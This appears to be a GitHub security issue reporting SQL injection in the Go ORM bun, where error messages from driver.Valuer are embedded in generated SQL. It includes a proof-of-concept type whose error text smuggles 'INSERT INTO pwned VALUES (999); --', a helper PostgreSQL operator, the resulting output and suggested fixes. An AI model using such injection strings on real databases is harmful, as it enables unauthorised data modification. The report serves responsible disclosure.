-
-
Notifications
You must be signed in to change notification settings - Fork 264
Open
Labels
Description
Summary
When a driver.Valuer implementation returns an error, bun embeds the error message directly into the SQL query string via dialect.AppendError(). This can lead to SQL injection if the database has certain custom operators defined.
Severity
High - Allows arbitrary SQL execution under specific but achievable conditions.
Affected Code
dialect/append.go:10-AppendError()functionschema/append_value.go:271-274-appendDriverValue()callsAppendErrorwhenValue()returns error
func appendDriverValue(gen QueryGen, b []byte, v reflect.Value) []byte {
value, err := v.Interface().(driver.Valuer).Value()
if err != nil {
return dialect.AppendError(b, err) // embeds error in SQL
}
// ...
}Reproduction
1. Create a type whose Value() method returns an error with crafted message:
type BadValue struct{}
func (b BadValue) Value() (driver.Value, error) {
// Error message crafted to close the ?!() wrapper and inject SQL
return nil, errors.New("1)); INSERT INTO pwned VALUES (999); --")
}
type TestRow struct {
bun.BaseModel `bun:"table:test"`
ID string `bun:"id,pk"`
Bad BadValue `bun:"bad_col"`
}2. The generated SQL contains the error message:
db := bun.NewDB(sqldb, pgdialect.New())
row := &TestRow{ID: "123", Bad: BadValue{}}
q := db.NewInsert().Model(row)
fmt.Println(q.String())
// Output: INSERT INTO "test" ("id", "bad_col") VALUES ('123', ?!(1)); INSERT INTO pwned VALUES (999); --))3. Create a prefix operator in PostgreSQL that makes this valid:
CREATE FUNCTION int_prefix_passthrough(int) RETURNS int AS $$ SELECT $1; $$ LANGUAGE SQL;
CREATE OPERATOR ?! (RIGHTARG = int, FUNCTION = int_prefix_passthrough);4. Execute the query - injection succeeds:
-- Before: pwned table is empty
INSERT INTO test (id, bad_col) VALUES ('123', ?!(1)); INSERT INTO pwned VALUES (999); --))
-- Result: BOTH statements execute. pwned table now contains 999.Proof of Concept Output
INSERT 0 1
INSERT 0 1
?column? | id
----------+-----
after: | 1
after: | 999
(2 rows)
Attack Requirements
- A
driver.Valuerthat can return an error (common for custom types with validation) - An attacker who can influence the error message content
- A PostgreSQL database with a
?!prefix operator defined (unusual but valid)
While requirement #3 is uncommon, the vulnerability exists because:
- Custom operators are a legitimate PostgreSQL feature
- Extensions could define such operators
- The
?!syntax was chosen arbitrarily and provides no security guarantee
Additional Concerns
Even without the injection:
- Information Leakage: Error messages (potentially containing sensitive data) are sent to the database server and may be logged
- Poor Error Handling: Errors from
Value()should be returned to the caller, not embedded in output
Suggested Fix
Change AppenderFunc signature to return ([]byte, error) and propagate errors properly:
// Before
type AppenderFunc func(gen QueryGen, b []byte, v reflect.Value) []byte
// After
type AppenderFunc func(gen QueryGen, b []byte, v reflect.Value) ([]byte, error)Or at minimum, use a format that cannot be valid SQL in any database:
func AppendError(b []byte, err error) []byte {
// Use format that's invalid in all SQL dialects
b = append(b, "\x00BUN_ERROR:"...) // NULL byte is never valid in SQL
b = append(b, err.Error()...)
b = append(b, '\x00')
return b
}Environment
- bun version: v1.2.16 (also confirmed in v1.1.17)
- Go version: 1.25.4
- Database: PostgreSQL 16
mitchellderijcke, TheCoreMan, epikur-io and halprin